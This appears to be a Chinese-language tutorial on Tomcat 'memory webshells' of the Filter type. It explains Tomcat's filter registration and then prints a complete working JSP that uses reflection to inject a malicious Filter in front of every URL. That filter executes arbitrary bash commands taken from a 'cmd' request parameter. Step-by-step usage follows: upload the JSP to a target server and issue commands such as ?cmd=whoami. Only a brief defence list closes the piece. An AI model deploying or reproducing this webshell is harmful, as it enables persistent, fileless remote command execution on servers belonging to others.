Tomcat 内存马(二)Filter型
字数 1422 2025-08-03 16:46:22
Tomcat 内存马(二)Filter型内存马分析与实现
一、Tomcat请求处理机制
Tomcat在处理HTTP请求时,首先通过连接器Coyote将request对象转换为ServletRequest,然后传递给Catalina容器进行处理。Catalina容器采用分层结构设计,包含四个关键容器:
- Engine - 顶级容器
- Host - 虚拟主机容器
- Context - Web应用上下文容器
- Wrapper - Servlet包装容器
请求处理流程为:Listener -> Filter -> Servlet。当请求到达Wrapper容器时,会调用FilterChain(由多个Filter组成的过滤器链),最后才到达Servlet。
关键点:通过在FilterChain的第一个位置插入恶意Filter,可以优先拦截并处理所有请求。
二、Filter注册流程分析
1. FilterChain调用位置
FilterChain的调用位于StandardWrapperValve#invoke方法中,通过createFilterChain方法获取ApplicationFilterChain类型的filterChain。
2. 关键数据结构
Tomcat中Filter的管理依赖于三个核心变量,都存储在StandardContext对象中:
- filterMaps:HashMap类型,存储过滤器名称与URL映射关系
- filterDefs:HashMap类型,存储过滤器名称与过滤器定义(FilterDef)的映射
- filterConfigs:存储ApplicationFilterConfig对象,内部包含filterDefs
3. 变量操作分析
(1) filterMaps操作
StandardContext提供以下方法操作filterMaps:
addFilterMap():添加过滤器映射addFilterMapBefore():在指定位置前添加过滤器映射
(2) filterConfigs操作
在Tomcat启动时,filterStart()方法会:
- 从filterDefs获取过滤器定义
- 创建ApplicationFilterConfig对象
- 将name和filterConfig存入filterConfigs
(3) filterDefs操作
通过addFilterDef()方法添加过滤器定义,该方法通常由web.xml解析器调用。
三、内存马实现原理
通过动态操作StandardContext中的三个关键变量,可以注入恶意Filter:
- 创建恶意Filter实现类
- 创建并配置FilterDef对象
- 创建并配置FilterMap对象
- 将上述对象添加到StandardContext的相应变量中
四、完整内存马实现代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
// 获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 获取StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {}
};
// 创建并配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建并配置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 拦截所有URL
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建FilterConfig并添加到filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
五、内存马使用说明
- 将上述JSP上传到目标服务器
- 访问该JSP页面,显示"Inject Success!"表示注入成功
- 通过URL参数执行命令:
http://target.com/?cmd=whoami
六、防御措施
- 禁用JSP上传功能
- 监控StandardContext的修改操作
- 定期检查filterConfigs中的可疑Filter
- 使用安全防护产品检测内存马